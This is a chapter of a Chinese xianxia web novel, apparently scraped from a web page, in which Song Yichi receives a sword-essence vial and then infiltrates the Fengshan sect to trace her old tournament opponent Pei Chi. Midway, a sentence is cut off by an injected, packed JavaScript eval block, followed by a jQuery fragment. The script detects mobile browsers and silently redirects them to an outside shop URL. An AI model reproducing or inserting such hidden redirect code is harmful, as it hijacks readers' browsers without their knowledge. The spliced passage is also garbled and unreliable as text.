“哈哈哈哈,相逢即是有缘,老头子我送你们一份礼,想要什么尽管开口。”
老头笑眯眯的,三人你来我往两句话,寺庙内紧绷的氛围瞬间松了下来。
涂映雪察觉到老头没有恶意,收了扇子笑着看把宋意池往前推了推。
“小池子,还不快先谢谢这位~老先生!”
从老头到老先生,涂映雪适应良好,态度转变极快,而宋意池则立住脚步,伸手指了指自己:“我?”
“诶,称不上先生,我姓陈,叫我陈老就好。”陈老捋了捋胡须,鼓励的看着宋意池,示意她说出自己想要什么。
宋意池被俩人的目光看的不好意思,揉了揉脸颊:“额,那就多谢陈老送我..一把伞?”
说完宋意池马上想到陈老就是没伞才进来躲雨的,又立马摆摆手找补:“要是没有就算了,俗话说的好,无功不受禄,我本来也不好意思要你东西。”
“哈哈哈哈。”陈老仰天大笑,往前走了两步,随后从袖口掏出一个小绿瓶放在宋意池手心里,“伞老夫确实没有,这里有瓶剑髓液,日后小友若是找到了合适的剑,倒是能派上些用场,哈哈哈哈哈哈。”
宋意池握着手里温热的小绿瓶听的云里雾里,转头看向涂映雪求助,后者微微一笑开口:“好东西,收下吧。”
见涂映雪一脸淡然,宋意池心中有了底,她从未听过什么剑髓液,想来应该不会太贵重,于是双手抱拳行了个礼:“天雨宗宋意池谢过陈老赠礼。”
“好!”陈老红光满面的脸上写满了欣慰,而后往窗外看了看,高深莫测地开口:“雨要停了。”
“恩。”涂映雪应了声,走上前去把庙门推了开来,“送陈老。”
陈老点了点头笑着走了过去,走进悠悠雨幕里。
“后生可畏啊。”
宋意池看着窗外依旧瓢泼的大雨,拍了拍头,一个是樱神给她找的帮手,一个是刚送她礼物的老先生,怎么能觉得他们脑子不好呢。
“涂仙君,这剑髓液是什么东西?”
宋意池拿着小绿瓶走到涂映雪旁边,夜风吹起的雨砸到地上溅到他们身上。
涂映雪瞟了一眼后关了门:“琼浆玉液知道吧?”
“啊?这玩意是琼浆玉液?”宋意池双眼都瞪直了,肉眼可见的震惊。
看到宋意池的表情,涂映雪笑出了声:“和它没关系。”
宋意池意识到涂映雪在逗自己后翻了个白眼,将小玉瓶随手塞进腰间:“不告诉我就不告诉我嘛,谁稀罕知道,无聊。”
半柱香后,一双白嫩的小手偷偷点了点闭目养神中的涂映雪的手臂。
“涂仙君,涂仙君,你就告诉告诉我吧,求求你了。”
涂映雪失笑,撑着身子往后挪了挪:“不说哦。”
身前的人离远了些,宋意池就跟着挪了过去,双手抱住涂映雪还未收回的右手摇了摇:“求求你了,涂仙君,你最好了,这样,我跟你交换一个秘密,你告诉我。”
“不好意思,不太感兴趣。”
涂映雪慢条斯理的把手抽了出来,但很快又被抱住了,这次更紧了。
“你就告诉告诉我嘛,要不然我白白拿了别人的贵重东西,心里不舒服。”
…
又半柱香后,涂映雪感觉自己右手已经被晃的要失去知觉了。
“行,我问你,为什么选择要一把伞?”
“啊?”宋意池被问的愣住了,随后想到自己跟陈老要的礼是一把伞,立马开口生怕涂映雪反悔:“因为你的斗笠是坏的啊。”
这下换涂映雪愣住了,他从未想过答案竟会这般简单,但看着眼前的宋意池,他又觉得确实是她能干出来的事,无奈的笑了笑:“是玉龙台,滋养剑灵用的。”
“竟然是上古书籍里千年难见的玉龙液!!!当时你怎么不说,我看你表情还以为不是什么贵重的东西呢!”宋意池连忙松开抱住涂映雪的手,颤抖着摸了摸腰间,东西还在,“天呐,我还是还给陈老吧,太贵重了!”
涂映雪感受到右手束缚消失,再次闭上眼:“他既然舍得送你,自然不会再要回去,安心收着便是,日后说不定就用上了。”
——
第二日,碧空如洗万里无云。
刚进京都的地界,涂映雪便换了身澄黄色的仙衣,连带着头上的玉饰都换成了檀木的簪子,整个人看起来贵气又儒雅,活脱脱一个家底丰厚的世家子弟。
宋意池心底暗骂了一声骚包,抬头时身边的涂映雪已经被万紫千红的女修围住了,自己怎么样都挤不进去。
“抱歉仙子让一下。”
“额,这位貌美如花的姐姐能不能让我…”
……
无人在意,宋意池决定舍了这张老脸放大招,两手一拍就往地上一坐,嚎的一声眼泪说来就来。
“啊啊啊,你这个负心汉,说要娶我都是骗我,我孩子刚怀上,你就出去找别人,你对得起我吗!!”
…
一时间女修的目光全被吸引了过来,带着好奇和可怜的目光看着她。趁此机会,宋意池站起来冲进散开的人群一把扯住涂映雪便往外跑,那群女修很快也意识到了不对劲,跟了上来。
眼见就要追上了,涂映雪挥了挥袖子,带着宋意池乘风飞了起来,到半空中时竟还有云主动降下来,仿佛在迎接他一般。
俩人站在云上,很快便把身后的那群女修甩了开来。
宋意池一边俯视着京都,一边不满开口:“你自己能脱身怎么不走?害我丢人现眼。”
涂映雪把玩着手上的扇子,挑了挑眉:“爱美之心,人皆有之,能牺牲美色换她们开心,我为何要走?”
“好像也对。”宋意池一时被说服,但很快反应过来,“但是涂大哥,当务之急是先助我找到真相,找到真相之后你再慷慨你的美色也不迟。”
涂映雪见没逗到人嘴角笑意都淡了些,双手环胸:“他是哪个宗门的来着?”
“京都西部凤山派。”
———
“这位道友,我刚刚用玉碟查过了,我派确实没有此人。”
凤山派守门的小弟子伸着手拦着想要进去的宋意池。
“不可能,五年前的修士大比上,他出示的就是凤山派的玉碟。”
宋意池不可能记错,当年大比的发生的事每夜都会再次浮现在她的脑海。
“反正我派没有,道友要不你还是去别的门派问问。”
宋意池看凤山派的小弟子一脸正直,想来是不会轻易放她进去的,俩人退至一旁,百愁莫展之际她看了涂映雪一眼。
涂映雪心领神会,拎着宋意池一个响指,俩人便已经到了凤山派的弟子房,屋前空地上好些弟子正在练剑。
感受到宋意池炽热的目光,涂映雪理了理额边碎发,摆出一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722619|208746||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自认为最帅的侧脸:“这对我来说简直小菜一碟,不用过多崇拜我。”
“大哥,这是女弟子房。”
宋意池无语的拍开涂映雪搭在她肩上的手。
两分钟后,涂映雪带着面纱,‘亲密’地挽着宋意池的手走了出去,俩人装新弟子一路问路往名簿房走去。
名簿房在凤山派最北边的小河边,是个极其小的屋子,仅有一个钓鱼的老头看守。
“道友既来了,便不要藏着掖着了。”
果然修仙界没有简单的老头,宋意池率先走了出去。
“道长,在下没有恶意,未邀前来只为一观名簿。”
“哦?一派名簿岂能随意让人查看,小友你是不知者无畏还是找死?”钓鱼翁恶狠狠说完最后一个字,一甩鱼竿直直朝宋意池打来。
可想象中的疼痛并没有到来,甚至连水滴都没有沾上,涂映雪站在宋意池身前,单手便挡住了攻击。
“小池子,你直接进去找,这里交给我。”
宋意池看了他一眼,不再犹豫,提起裙摆便往小屋子跑去,她从小就讨厌扭扭捏捏拖泥带水的人。
“对女孩子动手可不是男人该做的事,你的对手,是我。”
涂映雪展开扇子,笑的和煦,不知道的还以为这是参加什么修真界选美大赛呢。
“你算个什么东西,简直猖狂!!老夫今日便送你圆寂。”钓鱼翁不再隐藏实力,一纸黄符悬在手尖,随后朝涂映雪炸去。
屋外灵气震天,屋内一片祥和,宋意池按照分类飞速找到五年前的名簿,从第一本开始翻看,不漏过任何一个字,直到第三十一本,‘裴痴’这个名字才浮现在她眼前。
“凤山派剑修裴痴,五境修士,请赐教。”男子一袭青衣,发髻高高扬起,瘦弱的手举起玉碟,阴沉的眼里仿佛有数不尽的忧愁。
“天雨宗未来剑仙宋意池,六境巅峰,请赐教。”一袭粉衣白剑,曾打碎了多少剑修的道心,可这一场比赛后,灵根被废,成了个剑都不敢再拿的懦夫。
宋意池抛开脑中的思绪,认真看了起来。
“裴痴,五境剑修,因偷盗养剑壶,淬剑丹被逐出门派,玉碟回收后丢失。”
难怪守门的小弟子说没有这人,想来是他入宗门时,裴痴已经被逐出宗门了。
既如此,要如何再去寻他呢,一切又回到了最开始的地方,什么线索都没有。
宋意池有些丧气,低着头走了出来。
屋外早已分出胜负,涂映雪坐在钓鱼翁刚坐的位置,后者则被鱼线捆了起来牢牢绑在树上。
“怎么?没找到?”
见宋意池一脸闷闷不乐,涂映雪开口。
“也不是。”宋意池不想让自己的心情影响到涂映雪,强撑着笑了笑,“那人五年前就被逐出宗门了,现在要找,可能有些困难。”
“我当是什么事呢,车到山前必有路,大不了小池子你叫声好听的,说不定我就愿意舍命陪君子,将这整个京都翻过来帮你找找这个叫裴痴的人。”
涂映雪一脸自信的开口,本意是哄哄这小姑娘开心,谁知低头便看见宋意池的大眼睛看着他忽闪忽闪的。
“你不会真信了吧?”
涂映雪后退两步,咬牙切齿的开口,有些后悔自己搬起石头砸脚的行为。
“可以吗?涂仙君~映雪哥哥~”
身后的声音还在继续。